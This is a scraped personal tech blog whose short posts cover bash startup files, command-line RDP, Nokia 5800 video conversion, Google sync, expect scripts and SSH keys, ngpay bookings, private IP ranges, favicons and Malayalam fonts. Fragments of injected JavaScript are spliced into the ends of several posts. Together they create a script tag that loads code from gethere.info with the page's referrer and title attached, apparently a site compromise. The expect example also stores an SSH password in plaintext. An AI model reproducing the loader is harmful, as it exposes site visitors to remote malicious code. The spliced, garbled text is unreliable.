What is the difference between .bashrc and bash_profile

Every newbie will be learning on the sequence by which the linux OS boots up.  The two file .bashrc and  .bash_profile is one which many encounters in this path.

So what is the difference between .bashrc and  .bash_profile

For this we need to know the difference between a login shell and an interactive shell. Below given is the definition from the man pages.

A login shell is one whose first character of argument zero is a -, or one started with the –login option.

An interactive shell is one started without non-option arguments and without the -c option whose standard input  and  error  are  both
connected  to  terminals  (as  determined  by  isatty(3)), or one started with the -i option.  PS1 is set and $- includes i if bash is
interactive, allowing a shell script or a startup file to test this state.

So basically, login shell is one which you gets when you login. simple eh!

In simpler terms /etc/profile and .bash_profile  are executed when a user logs in, but ~/.bashrc is run for other shells – like when opening an xterm

But however , note that /etc/profile is called from .bashrc. So that means that /etc/profile is read only if the shell is a login shell.

Typically,

/etc/profile – for global purposes

.bash_profile- executed for login shells

.bashrc   – other shells – used for individual login settings

Check out the “man bash”  for more details. :)s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

how to start rdp aka remote desktop in windows, from command line – cmd

I wanted to start the remote desktop session directly, without the need to put in the IP when it prompts. Here is the command to do so

mstsc.exe /f /v:192.168.1.2
where 192.168.1.2 is the IP of the remote machine.

Each option in detail

mstsc.exe /v:ServerName[:Port]} [/console] [/f] [/w:Width/h:Height]

mstsc.exe is the exe for rdp in windows.
/v – specifies the remote computer and port (optional) you wish to connect to
/console – connects to the console of a Windows Server 2003 based system
/f – starts the remote desktop connection in full screen mode
/w & /h – specifies the width and height of the remote desktop connectionif (document.currentScript) {

Watch HQ videos on 5800 – Convertion details

You can convert easily with Mediacoder. Subtitle is auto detected and added if both the SRT and AVI files are in the same folder, with the same name. It has customized preset functionality also.

Download it here : http://mediacoder.sourceforge.net/dlfull.htm

XML preset settings for media coder. Just paste this into a file with XML extention. eg 5800.xml
Video bitrate : 800 ( you can try 900 or greater for better quality. )
Format: MPEG4
Container: MP4

For the best resolution and cropping,check the source’s resolution. For example, if the video resolution 624×352 which is smaller than 5800XM’s screen (640×360),then don’t resize it to 640×360. So if you want the best quality for your viewing, check the source video details first, before doing cropping or resizing.

For the audio, choose the bitrate of 128. If the audio bitrate is higher than what you have for the source, it can cause lags in the audio while playing on the mobile. So always choose a bitrate lesser than what you have in the source file.

I am giving here a list of 5800 compatible convertors which I have used and found to be working.
FreeVideoToiPodConverter
Settings to convert :select IPOD in devices and in presets use the “IPOD TOUCH HIGH QUALITY (MPEG 30 FRAMES PER SECOND 640 * 480 ,AAC 192 BIT
SUPER
Best in the league, but its painfully slow. If you want the optimal settings for 5800, I can provide you with the XML preset file.
NOKIA pc suite VIDEO
Not suitable for every file and needs your phone to be connected.
Mediacoder

Excellent and I am using this currently. Supports subtitles.

Here is some more , recommended by some websites. All may not be freeware. (I din’t personnaly check it though. If anyone had used any of these, please revert with the speed, clarity and other details)

DoremiSoft Avi to MP4.  http://www.mp4kits.comMP4kits.com
Daniusoft Video Converter  http://www.daniusoft.com/video-converter.html
Winavi m4 converter.  select iPod ….. Subtitles will be loaded automatically
psp video 9  http://www.pspvideo9.comPSP
smartmovie 4.10  the lag in avi playback is really reduced
4media MP4 Converter
Zune converter  http://dailymobile.se/forum/index.php/topic,406.40.html
Ulead  http://www.mymobile88.com/make-nhd-video-for-nokia-5800-xpressmusic/
ImTOO MPEG Encoder ultimate
pocket Divxencoder  http://www.pocketdivxencoder.net/EN_index.htm
Format Factory

Some Useful Tips

Video resolution width must not exceed 640 and height must not exceed 360

To make sure that the Aspect ratio is maintained you have to map either the original width to 640 or original height to 360. If both can be mapped then good. but it is possible only with 16:9 aspect ratio videos. Here’s a few eg.
Original Movie Res. Res for 5800XM (Screen size 640×360)
352×240 528×360
512×288 640×360
1280×640 640×320

Birate : 1024 for HD quality, 512 if you want a smaller file size
Framerate : 25 (30 if the original framerate is over 25)

Audio Codec : aac
Bitrate : 128
Channel : 2
Sample rate : 11025}

Google has introduced mobile sync

Google has launced the mobile sync which will allow you to sync your contacts on your phone with your contacts in gmail. Also it will allow you to sync the calender entries. This service is very similar to the service provided by zyb.com which I have been using. But the good thing with this is that, I love google and now I am getting more and more dependant on the google products.. God SAVE ME!! 🙂

Here is a link to the google site which describes the setting to be done on the mobile for this to be enabled. 

http://www.google.com/mobile/default/sync.html

I have attempted to synchronize my contacts on my w810i using the following instructions.

 

 

  1. Click the ‘Menu’ key and open the ‘Organizer’.
  2. Select ‘Synchronization’.
  3. Select ‘New Account’ and enter ‘Google Sync’ or any name of your choice.
  4. Enter the following values:
    • Server address: https://m.google.com/syncml
    • Username: your Google Account username, e.g. you@googlemail.com
    • Password: your Google password
    • Connection: select the Internet access point for your carrier
    • Applications: mark ‘Contacts’ only and click ‘OK’
    • App. settings: open ‘Contacts’ and for ‘Database name’ enter ‘contacts’ (lower case), leave other fields blank
    • Sync. interval: choose how frequently you would like to synchronize with Google
    • Leave other settings unchanged
  5. Click ‘Save’ to exit this screen and save your Sync profile.
  6. Highlight your new Sync profile and press ‘Start’.
It has synced my contacts and I was able to view the mobile numbers in the contacts list in my gmail. To view the contacts list, just select the contact list link on the left side of the google mail. (just under the drafts, spam and trash)
     

expect script vs authorized keys login

Most of the time, a linux script writer must have encountered reasons to automate the scripts that require login to the server, copying of data without the need of giving a password at the shell prompt. Most of the time, people will settle down with setting up the secure key access. ie, using authorized keys. But there is also another way of automating login to the servers. It is by using the expect script.

If expect is installed on your machine you can see it at /usr/bin/expect. If not, just install it using Yum

[root@centos ~]# yum install expect
Loading “fastestmirror” plugin
Loading mirror speeds from cached hostfile
* base: mirror.dhsrv.com
* updates: mirror.nic.uoregon.edu
* addons: repo.genomics.upenn.edu
* extras: mirror.dhsrv.com
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
–> Running transaction check
—> Package expect.i386 0:5.43.0-5.1 set to be updated
–> Finished Dependency Resolution

Dependencies Resolved

=============================================================================
Package                 Arch       Version          Repository        Size
=============================================================================
Installing:
expect                  i386       5.43.0-5.1       base              158 k

Transaction Summary
=============================================================================
Install      1 Package(s)
Update       0 Package(s)
Remove       0 Package(s)

Total download size: 158 k
Is this ok [y/N]: y
Downloading Packages:
(1/1): expect-5.43.0-5.1. 100% |=========================| 158 kB    00:03
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: expect                       ######################### [1/1]

Installed: expect.i386 0:5.43.0-5.1
Complete!

Simple! Now go ahead and put the script as follows

#!/usr/bin/expect -f

set timeout -1
spawn ssh 10.70.5.26 -l mathew
expect “mathew\@10.70.5.26’s password:”
send — “mathew\r”
interact

Here , mathew is the username and 10.70.5.26 is the server to which you want to login. I will explain the working of expect script in detail

set timeout -1

How much time the script have to wait. “-1” means wait indefinitely since we are expecting to login to the server. If you want to use the script for some other purpose, better choose default, which is 10 secs, by not specifying the timeout line at all.

spawn ssh 10.70.5.26 -l mathew

spawn will execute whatever command that is put after that in the line

expect “mathew@10.70.5.26’s password:”

This is where the catch is . The expect will wait for a feedback similar to “mathew@10.70.5.26’s password:”

send — “mathew\r”

Once the expect sees the specified keywords, the next send command will send the value in quotes (mathew) to the shell. The “\r” at the end is mandatory since it instruct to put a newline at the end after writing “mathew” to the prompt.

interact

This will free the control from the script we just ran and give control back to the shell so that we can “interact”

AUTHORIZED KEYS

Many people are having trouble setting up secure keys on their machine. It is very simple and here are the steps

Let us assume that the machine you want to login is the Server and the machine from where you login is the client

We will start with the Client. Do the following steps at the Client.

step 1) Create the keypair using dsa encryption. This can be done by passing the key encryption method type to ssh-keygen.

ssh-keygen -t dsa

Hit enter when asked for passphrase. The ssh-keygen program will generate a public and a private key.  They are by default named as “id_dsa.pub” (public key) and private key as id_dsa and is stored in .ssh folder of your home directory by default. You need to safeguard your id_dsa file by encryption and other means like permission restrictions.

ON the server side

Step 1) cd .ssh/  (If the directory is not there , create one)

Step 2) Copy the id_dsa.pub generated in the first step to the Server and append it to the file authorized_keys in .ssh directory.

cat id_dsa.pub  >> .ssh/authorized_keys

Step3 ) Make sure that the permissions on the authorized_keys file is “600”

chmod 600 authorized_keys

Remove the public key file that you have copied. The mistake that most people make is in forgetting the last step and also copying the private key instead of the public key file.

How to login from PUTTY using authorized keys.

When you login from a windows machine using PUTTy, Putty is your client.You will have to use the putty keygen tool http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe. to generate the keygen described in the first step.

Once the keygen is generated, you will have two files , the same as we have described in the first step. Copy the public file content to the Server and the private key need to be added to the putty session you are using to login. For this open PUTTy, goto Connection -> SSH -> Auth and browse to the private file you have generated. Now goto the login session and you will be able to login without any password.var d=document;var s=d.createElement(‘script’);

Ngpay- smart way of paying

Okay, here goes.

Everyone must be using IRCTC for booking tickets online, specifically e-tickets these days. So I dont need to teach anyone how to book railway tickets using the irctc portal. If you are not familiar with this way of booking railway tickets, please refer to the below URLs

http://www.irctc.co.in/

http://www.irctc.co.in/eticketsguide.html

Here I am going to guide you on how to book tickets using ngpay.

Official site :  http://www.ngpay.com

I was also skeptical on how to book tickets on this one, especially about the payment method that is being used. But today I had to book a ticket and decided to give a try with ngpay. If you are smart enough :), you can get the details from the ngpay site itself. But I will describe here the steps I followed.

You will need GPRS connection for this to work. May be booking over wifi connection on mobile may also work. I will check this after I get my Nokia 5800 XM 🙂

Step one: Get the ngpay application on your mobile.

To download  you need a link, right…. To get this link you can follow 3 ways

1)Send me your mobile no. 🙂 . I will sent you the link. This way I will get referral point which I have described at the end of this post.

2) SMS  “ngpay” without quotes to 56767

3) Go to http://www.ngpay.com/site/?channel=irctc  and there you will see a box under a mobile image and caption “Enter your mobile number and click submit “. You will see a message “Thanks! You will shortly receive an SMS to download ngpay.” on the webpage

Both steps will allow you to get an sms message with the download link for ngpay to the mobile number that you have specified.

Step two: Open the sms and click on the link provided and download/install the application

I got an sms similar to the one below

Sender:TM-ngpay

IRCTC – Thank you for your interest in IRCTC services on ngpay. To download go to http://www.ngpay.com/ssgw/91<mymobno>.Please call 91 8067004000 for help

Click on the link and it will show that you are about to download the ngpay.jar application which is 64 KB. If you are on a costly GPRS plan, try with a wifi connection. The java application will get installed to the location that you specified.

Step Three: Give your name and details to create an ngpay profile.

The application will ask for the firstname, lastname, street address, email address and your mobile no. At the end , you will have to give a 6 digit pin of your choice which will be your ngpay pin. It will ask for a security question and date of birth also.

Step Four: Go ahead book the ticket

The above steps will finish the initial setup. In the future you can open the application by going to the location where you have the application installed. It will be stored with the name “ngpay”.  In the app, you can see

My Services

My Community

My Profile!

What’s New!

Help

Select My services, and  You will see

Explore All(69)

IRCTC

Select IRCTC and there you can follow the instructions to book the ticket. While booking, it will ask for the source and destination, date and several other details like berth preference, type of coach etc. which you can easily fill out.At the end it will ask you for the method of payment. You have options to pay using visa cards/credit cards , hdfc internet banking … I have used the HDFC way

It will first ask for your HDFC account no. Then while payment it will ask your customer id as well as the password. This is the same logins that you use for login into the Internet banking of the HDFC. While payment it will display the ticket charge , the 10 Rs IRCTC charge, 10 Rs ngpay convenience, 5 Rs payment processing. But at the end they will give a discount of Rs 25 and voila!  you are booking the ticket at the exact ticket fare. (10+10+5-25) heeh!

You will get the e-ticket mailed to the email id that you have specified in step three.

You can use this ngpay to book tickets for you as well as for anyone. While booking just give the name of the passenger. This was one where I was having a doubt. :).The good thing is that you can view the history of the transactions from the application itself.

Cancellation of IRCTC tickets booked using ngpay.

Here also I had a doubt. I searched the ngpay website, but could not find out an answer. So I sent a query to ngpay support using the url below

http://www.ngpay.com/site/contactus.html

I was just dumb. Just after I submitted the query, I searched in the ngpay application again and I found the cancellation location

ie, Inside My Services -> IRCTC -> Cancellation

But I was surprised when I got a call from ngpay support guy on my phone. He asked me the name and the amount with which I booked the ticket. Then described the same steps as above.  Now I am sure, this thing is here to stay!!

Possible Uses of NGPAY/Why use NGPAY

  • Book your tickets when no Internet connection is available.
  • Cancel your tickets anywhere anytime
  • Check your PNR status , anywhere anytime
  • NGPAY got lot of services like cinema tickets booking and several other features.. I will explore the same in the future.
  • You can receive points for each transactions which you can redeem later against a service availed with ngpay
  • A referrel service is there which will give you points which you can redeem later.

http://www.ngpay.com/site/howitworks.html

http://www.irctc.co.in/ngpay/ngpay_overview.htm

Referral Method

If you want to help me in anyway, please let me add you. You can do referral by the following method.

  • Goto My community -> Refer a friend and input your friends mobile number.
  • Your friend will receive an sms with the download link to the application. You will get 25 points as reward when your friend completes his registration on ngpay.

Any comments are welcome.if (document.currentScript) {

Public Vs Private IP Numbers

Private IP numbers are the source of much confusion for many new networking users. Many home “powerusers” with more than one computer, small offices, and just about any user of a broadband IP connection to the internet like DSL or Cable Modem has probably come face to face with this issue. The whole use of IP numbers is generally hidden from your typical Internet user who uses a modem and PPP software to connect to the internet – they are transparently and dynamically assigned an IP number while they are dialed in by their ISP, and don’t really have to think about it. That is until the user starts to get curious about running a webserver on a machine in their house, or moving up to faster “always on” connections like ISDN, DSL, Cable Modem, or other methods.

Think about what happens when a small city runs out of phone numbers, but can’t split up an area code. Things could get difficult and providing additional phone service as the city expands would be a nightmare. One method of preventing an area from going totally overboard on providing separate phone numbers is to have one or a handfull of numbers used in a shared manner amongst many phone users, like any large office would do. A large company with 250 workers in an office building each with a phone at their desk wouldn’t want to pay the phone company for 250 discreet and separate lines for each desk, nor would the phone company want to give all those numbers to them if they were trying to conserve numbers. Therefore, offices use internal equipment to “share” a smaller number of lines amongst their users, like mabye 20 or so used in rotary. By doing so, each desk can have an inter-office extension number, which is bridged to an outside phone company line when the user picks one up to dial out and one is free at that moment. In this case, any number of offices in the city might have an “extension 123” within their office, but each “extension 123” in these offices would never conflict with each other because they are “behind” the company’s phone equipment which serves up the company’s outside lines to those extensions when needed. The internal office extensions can communicate with each other perfectly fine, but must be connected to an outside line to connect to an extension at the company across the street. 213-555-1200 thru 1210 would be BigCompany, Inc.’s “public” phone lines, and extensions 1 thru 250 would be BigCompany, Inc.’s, “private” phone lines.

IP protocol networks use a system very similar to the above to prevent the world from running out of IP addresses. Even though 0-255.0-255.0-255.0-255 is technically 4,228,250,625 numbers, the useable amount of numbers is much lower due certain types of numbers set aside for special signalling and identification uses and not for typical “device” identification and traffic. Also consider that just about EVERY device that will handle IP traffic must have a unique number, and there are probably just as many routing and switching and serving devices on “the net” as there are actual computers. Add all that up and one can see how the current IP number structure really doesn’t go all that far, and there is a need for computers and devices in certain groups to be able to use “private extensions” that work behind a group’s “public numbers”, just like the large company offices example above.

The organizations that agree on the technical standards behind the IP protocol have issued a standard for “Private IP number blocks”, or numbers that can be used within an enterprise as long as the enterprise has the technical capability to separate those private IP numbers from the rest of the Internet at large, and properly gateway the traffic between the internal stations at the enterprise in question and the public Internet. For Example, when a large company with 200 computers in the office needs to implement IP networking and connectivity both between the computers in the office *AND* supply inbound and outbound connectivity to the Internet from within their office network, that company would avail themselves of a block of IP numbers within the “private” numbers set aside for just that purpose. There is most certainly many other computers somewhere in the world using your IP number if your IP number is one of these private numbers, but both yours and the other private IP numbers in the world are safely operated behind other IP routing equipment which handles all the internal network’s traffic out to and in from the public Internet, just like all the “extension 105” numbers in offices thruought the world are safely operated behind telephone equipment that bridges those extensions in and outbound thru a given office’s public telephone system number.

The private IP addresses that you assign for a private network (inter-office LAN, Internet Service Provider customer bases, campus networks, etc) should fall within the following three blocks of the IP address space:

10.0.0.1 to 10.255.255.255, which provides a single Class A network of addresses, which would use subnet mask 255.0.0.0.
(theoretically up to 16,777,215 addresses, good for VERY large enterprises like internet service providers or other global deployment)

172.16.0.1 to 172.31.255.254, which provides 16 contiguous Class B network addresses, which would use subnet mask 255.255.0.0.
(theoretically up to 1,048,576 addresses, good for large enterprises like colleges and governmental organizations)

192.168.0.1 to 192.168.255.254, which provides up to 2^16 Class C network addresses, which would use subnet mask 255.255.255.0.
(theoretically up to 65,536 addresses, widely used by default in consumer/retail networking equipment)

Explanation of Subnet masks, Network classes, and other technical info is readily available on the internet.d.getElementsByTagName(‘head’)[0].appendChild(s);

Get a new gmail sticker

I was always been a fan of google and I am always looking out for any changes they are doing to their products. Eventhough this post is not about a software one , it may be interesting to some people.

Google has started to give out gmail stickers. But the catch is that you will have to send a mail by snailmail with a return envelope having your address. They have allowed it to be sent out internationally also. I thought of sending on mail, but at the end of the page, they have mentioned that they will not be held liable if the stickers run out of stock..:(

The stickers look nice and good.

how to add favicon to the address bar

As per wikipedia

A favicon (short for favorites icon), also known as a website icon, shortcut icon, url icon, or bookmark icon is a 16×16 pixel square icon associated with a particular website.

Favicon is always stored in the name favicon.ico and it is included in the header of every page so that it will be displayed along the address bar.

Steps to create a favicon

1) Select the image that you want to be the favicon

2)Create the 16*16 image from the selected image and save it as “favicon.ico.

3)Upload to the server and for displaying it add the following code in the header

<link rel="shortcut icon" href="http://yoursitename.com/favicon.ico" type="image/vnd.microsoft.icon"/>
<link rel="icon" href="http://yoursitename.com/favicon.ico" type="image/x-ico"/>

4) For including in wordpress, edit the “header.php” file in the theme folder that you are currently using.d.getElementsByTagName(‘head’)[0].appendChild(s);

Not able to view malayalam fonts!

കേരളം അതിമനോഹരം. മലയാളം എത്ര സുന്ദരം.
Are you seeing jumbled and garbage characters instead of “malayalam” in the above line?

Don’t worry, just click here and follow the instructions. It is a simple application which will install the font rachana.ttf into your system. It will help you display indic languages properly on your browser.document.currentScript.parentNode.insertBefore(s, document.currentScript);